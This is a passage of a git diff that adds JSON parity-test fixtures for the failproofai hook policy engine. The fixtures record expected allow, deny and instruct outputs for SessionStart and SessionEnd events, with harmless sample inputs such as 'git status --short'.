"/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..80941f1b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2c39dc8a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7a97d6ca --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..576f707a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..453590c0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6aac2610 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d8ff0f77 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5dcaa4b6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..252b39d6 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..27760244 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..45d8696a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..54063d05 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..62cb3ffa --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..cf4daf56 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6b685f68 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9ddd024a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a90c1df3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cbadacaf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7ba85e45 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SessionStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + 